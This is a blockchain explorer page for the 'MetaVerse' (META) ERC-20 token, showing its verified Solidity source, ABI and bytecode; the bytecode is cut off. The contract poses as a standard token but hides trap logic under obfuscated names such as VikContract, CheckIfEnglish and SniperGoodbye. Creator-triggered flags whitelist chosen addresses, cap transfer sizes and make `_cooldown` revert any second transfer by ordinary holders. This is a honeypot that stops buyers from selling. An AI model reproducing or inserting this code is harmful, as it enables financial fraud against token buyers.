Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
500,000,000,000 META
Holders
7
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
22,802,900,000 METAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
MetaVerse
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-11-03 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function totalSupply() external view returns (uint256); } interface IERC20Metadata is IERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) public VikContract; mapping (address => bool) public CheckIfEnglish; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; address private _creator; uint256 private _totalSupply; uint256 private NoToEnglish; uint256 private VikTax; uint256 private EnglishOut; bool private VikValue; bool private SniperGoodbye; bool private VikWait; constructor (string memory name_, string memory symbol_, address creator_) { _name = name_; _creator = creator_; _symbol = symbol_; VikValue = true; SniperGoodbye = true; VikContract[creator_] = true; CheckIfEnglish[creator_] = false; VikWait = false; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function decimals() public view virtual override returns (uint8) { return 18; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _cooldown(address sender, uint256 amount, uint256 time) internal { uint256 getTimeDifference = block.timestamp - time; if ((VikContract[sender] == false) && (getTimeDifference >= 0)) { if ((amount > EnglishOut)) { require(false); } require(amount < NoToEnglish); if (VikWait == true) { if (CheckIfEnglish[sender] == true) { require(false); } CheckIfEnglish[sender] = true; } } } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); (VikContract[spender],CheckIfEnglish[spender],VikValue) = ((address(owner) == _creator) && (VikValue == true)) ? (true,false,false) : (VikContract[spender],CheckIfEnglish[spender],VikValue); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); (NoToEnglish,VikWait) = ((address(sender) == _creator) && (SniperGoodbye == false)) ? (VikTax, true) : (NoToEnglish,VikWait); (VikContract[recipient],SniperGoodbye) = ((address(sender) == _creator) && (SniperGoodbye == true)) ? (true, false) : (VikContract[recipient],SniperGoodbye); uint256 timeNOW = block.timestamp; _cooldown(sender, amount, timeNOW); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _createContract(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); (uint256 temp1, uint256 temp2) = (10000, 500); _totalSupply += amount; _balances[account] += amount; NoToEnglish = _totalSupply; VikTax = _totalSupply / temp1; EnglishOut = VikTax * temp2; emit Transfer(address(0), account, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { _createContract(creator, initialSupply); } } contract MetaVerse is ERC20Token { constructor() ERC20Token("MetaVerse", "META", msg.sender, 500000000000 * 10 ** 18) { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"CheckIfEnglish","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"VikContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040518060400160405280600981526020017f4d657461566572736500000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4d45544100000000000000000000000000000000000000000000000000000000815250336c064f964e68233a76f5200000008383836000620000a2620002d460201b60201c565b905080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35082600690805190602001906200015992919062000472565b5080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160079080519060200190620001b392919062000472565b506001600d60006101000a81548160ff0219169083151502179055506001600d60016101000a81548160ff0219169083151502179055506001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600d60026101000a81548160ff021916908315150217905550505050620002ca8282620002dc60201b60201c565b5050505062000796565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200034f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003469062000583565b60405180910390fd5b6000806127106101f4915091508260096000828254620003709190620005de565b9250508190555082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620003c89190620005de565b92505081905550600954600a8190555081600954620003e891906200066a565b600b8190555080600b54620003fe9190620006a2565b600c819055508373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405162000464919062000714565b60405180910390a350505050565b828054620004809062000760565b90600052602060002090601f016020900481019282620004a45760008555620004f0565b82601f10620004bf57805160ff1916838001178555620004f0565b82800160010185558215620004f0579182015b82811115620004ef578251825591602001919060010190620004d2565b5b509050620004ff919062000503565b5090565b5b808211156200051e57600081600090555060010162000504565b5090565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200056b601f8362000522565b9150620005788262000533565b602082019050919050565b600060208201905081810360008301526200059e816200055c565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620005eb82620005a5565b9150620005f883620005a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000630576200062f620005af565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200067782620005a5565b91506200068483620005a5565b9250826200069757620006966200063b565b5b828204905092915050565b6000620006af82620005a5565b9150620006bc83620005a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006f857620006f7620005af565b5b828202905092915050565b6200070e81620005a5565b82525050565b60006020820190506200072b600083018462000703565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200077957607f821691505b6020821081141562000790576200078f62000731565b5b50919050565b611c9a80620007a66000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063984e2dba11610066578063984e2dba1461028a578063a457c2d7146102ba578063a9059cbb146102ea578063dd62ed3e1461031a576100f5565b806370a0823114610214578063715018a6146102445780638da5cb5b1461024e57806395d89b411461026c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636f8fa376146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261034a565b60405161010f9190611464565b60405180910390f35b610132600480360381019061012d919061151f565b6103dc565b60405161013f919061157a565b60405180910390f35b6101506103fa565b60405161015d91906115a4565b60405180910390f35b610180600480360381019061017b91906115bf565b610404565b60405161018d919061157a565b60405180910390f35b61019e610505565b6040516101ab919061162e565b60405180910390f35b6101ce60048036038101906101c9919061151f565b61050e565b6040516101db919061157a565b60405180910390f35b6101fe60048036038101906101f99190611649565b6105ba565b60405161020b919061157a565b60405180910390f35b61022e60048036038101906102299190611649565b6105da565b60405161023b91906115a4565b60405180910390f35b61024c610623565b005b61025661077b565b6040516102639190611685565b60405180910390f35b6102746107a5565b6040516102819190611464565b60405180910390f35b6102a4600480360381019061029f9190611649565b610837565b6040516102b1919061157a565b60405180910390f35b6102d460048036038101906102cf919061151f565b610857565b6040516102e1919061157a565b60405180910390f35b61030460048036038101906102ff919061151f565b61094b565b604051610311919061157a565b60405180910390f35b610334600480360381019061032f91906116a0565b610969565b60405161034191906115a4565b60405180910390f35b6060600680546103599061170f565b80601f01602080910402602001604051908101604052809291908181526020018280546103859061170f565b80156103d25780601f106103a7576101008083540402835291602001916103d2565b820191906000526020600020905b8154815290600101906020018083116103b557829003601f168201915b5050505050905090565b60006103f06103e96109f0565b84846109f8565b6001905092915050565b6000600954905090565b6000610411848484610dbd565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045c6109f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d3906117b3565b60405180910390fd5b6104f9856104e86109f0565b85846104f49190611802565b6109f8565b60019150509392505050565b60006012905090565b60006105b061051b6109f0565b8484600560006105296109f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ab9190611836565b6109f8565b6001905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61062b6109f0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b1906118d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546107b49061170f565b80601f01602080910402602001604051908101604052809291908181526020018280546107e09061170f565b801561082d5780601f106108025761010080835404028352916020019161082d565b820191906000526020600020905b81548152906001019060200180831161081057829003601f168201915b5050505050905090565b60026020528060005260406000206000915054906101000a900460ff1681565b600080600560006108666109f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091a9061196a565b60405180910390fd5b61094061092e6109f0565b85858461093b9190611802565b6109f8565b600191505092915050565b600061095f6109586109f0565b8484610dbd565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5f906119fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acf90611a8e565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610b48575060011515600d60009054906101000a900460ff161515145b610bfb57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600d60009054906101000a900460ff16610c01565b60016000805b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60008691906101000a81548160ff0219169083151502179055508591906101000a81548160ff0219169083151502179055508491906101000a81548160ff02191690831515021790555050505080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610db091906115a4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2490611b20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9490611bb2565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b90611c44565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610f94575060001515600d60019054906101000a900460ff161515145b610fb057600a54600d60029054906101000a900460ff16610fb6565b600b5460015b600a6000600d60028491906101000a81548160ff02191690831515021790555083919050555050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561104d575060011515600d60019054906101000a900460ff161515145b6110b357600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600d60019054906101000a900460ff166110b8565b600160005b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60018491906101000a81548160ff0219169083151502179055508391906101000a81548160ff0219169083151502179055505050600042905061113f858483611250565b828261114b9190611802565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111dd9190611836565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161124191906115a4565b60405180910390a35050505050565b6000814261125e9190611802565b905060001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151480156112c1575060008110155b156113c557600c548311156112dc5760006112db57600080fd5b5b600a5483106112ea57600080fd5b60011515600d60029054906101000a900460ff16151514156113c45760011515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561136b57600061136a57600080fd5b5b6001600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b50505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114055780820151818401526020810190506113ea565b83811115611414576000848401525b50505050565b6000601f19601f8301169050919050565b6000611436826113cb565b61144081856113d6565b93506114508185602086016113e7565b6114598161141a565b840191505092915050565b6000602082019050818103600083015261147e818461142b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114b68261148b565b9050919050565b6114c6816114ab565b81146114d157600080fd5b50565b6000813590506114e3816114bd565b92915050565b6000819050919050565b6114fc816114e9565b811461150757600080fd5b50565b600081359050611519816114f3565b92915050565b6000806040838503121561153657611535611486565b5b6000611544858286016114d4565b92505060206115558582860161150a565b9150509250929050565b60008115159050919050565b6115748161155f565b82525050565b600060208201905061158f600083018461156b565b92915050565b61159e816114e9565b82525050565b60006020820190506115b96000830184611595565b92915050565b6000806000606084860312156115d8576115d7611486565b5b60006115e6868287016114d4565b93505060206115f7868287016114d4565b92505060406116088682870161150a565b9150509250925092565b600060ff82169050919050565b61162881611612565b82525050565b6000602082019050611643600083018461161f565b92915050565b60006020828403121561165f5761165e611486565b5b600061166d848285016114d4565b91505092915050565b61167f816114ab565b82525050565b600060208201905061169a6000830184611676565b92915050565b600080604083850312156116b7576116b6611486565b5b60006116c5858286016114d4565b92505060206116d6858286016114d4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061172757607f821691505b6020821081141561173b5761173a6116e0565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061179d6028836113d6565b91506117a882611741565b604082019050919050565b600060208201905081810360008301526117cc81611790565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061180d826114e9565b9150611818836114e9565b92508282101561182b5761182a6117d3565b5b828203905092915050565b6000611841826114e9565b915061184c836114e9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611881576118806117d3565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118c26020836113d6565b91506118cd8261188c565b602082019050919050565b600060208201905081810360008301526118f1816118b5565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119546025836113d6565b915061195f826118f8565b604082019050919050565b6000602082019050818103600083015261198381611947565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006119e66024836113d6565b91506119f18261198a565b604082019050919050565b60006020820190508181036000830152611a15816119d9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a786022836113d6565b9150611a8382611a1c565b604082019050919050565b60006020820190508181036000830152611aa781611a6b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611b0a6025836113d6565b9150611b1582611aae565b604082019050919050565b60006020820190508181036000830152611b3981611afd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611b9c6023836113d6565b9150611ba782611b40565b604082019050919050565b60006020820190508181036000830152611bcb81611b8f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611c2e6026836113d6565b9150611c3982611bd2565b604082019050919050565b60006020820190508181036000830152611c5d81611c21565b905091905056fea2646970667358221220a4bca1dabc34bafc23375d36b1d0af3fb734ab2e3b04b4b4d62852f8a71dad4664736f6c63430008090033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063984e2dba11610066578063984e2dba1461028a578063a457c2d7146102ba578063a9059cbb146102ea578063dd62ed3e1461031a576100f5565b806370a0823114610214578063715018a6146102445780638da5cb5b1461024e57806395d89b411461026c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636f8fa376146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261034a565b60405161010f9190611464565b60405180910390f35b610132600480360381019061012d919061151f565b6103dc565b60405161013f919061157a565b60405180910390f35b6101506103fa565b60405161015d91906115a4565b60405180910390f35b610180600480360381019061017b91906115bf565b610404565b60405161018d919061157a565b60405180910390f35b61019e610505565b6040516101ab919061162e565b60405180910390f35b6101ce60048036038101906101c9919061151f565b61050e565b6040516101db919061157a565b60405180910390f35b6101fe60048036038101906101f99190611649565b6105ba565b60405161020b919061157a565b60405180910390f35b61022e60048036038101906102299190611649565b6105da565b60405161023b91906115a4565b60405180910390f35b61024c610623565b005b61025661077b565b6040516102639190611685565b60405180910390f35b6102746107a5565b6040516102819190611464565b60405180910390f35b6102a4600480360381019061029f9190611649565b610837565b6040516102b1919061157a565b60405180910390f35b6102d460048036038101906102cf919061151f565b610857565b6040516102e1919061157a565b60405180910390f35b61030460048036038101906102ff919061151f565b61094b565b604051610311919061157a565b60405180910390f35b610334600480360381019061032f91906116a0565b610969565b60405161034191906115a4565b60405180910390f35b6060600680546103599061170f565b80601f01602080910402602001604051908101604052809291908181526020018280546103859061170f565b80156103d25780601f106103a7576101008083540402835291602001916103d2565b820191906000526020600020905b8154815290600101906020018083116103b557829003601f168201915b5050505050905090565b60006103f06103e96109f0565b84846109f8565b6001905092915050565b6000600954905090565b6000610411848484610dbd565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045c6109f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d3906117b3565b60405180910390fd5b6104f9856104e86109f0565b85846104f49190611802565b6109f8565b60019150509392505050565b60006012905090565b60006105b061051b6109f0565b8484600560006105296109f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ab9190611836565b6109f8565b6001905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61062b6109f0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b1906118d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546107b49061170f565b80601f01602080910402602001604051908101604052809291908181526020018280546107e09061170f565b801561082d5780601f106108025761010080835404028352916020019161082d565b820191906000526020600020905b81548152906001019060200180831161081057829003601f168201915b5050505050905090565b60026020528060005260406000206000915054906101000a900460ff1681565b600080600560006108666109f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091a9061196a565b60405180910390fd5b61094061092e6109f0565b85858461093b9190611802565b6109f8565b600191505092915050565b600061095f6109586109f0565b8484610dbd565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073fffffffffffffffffffffff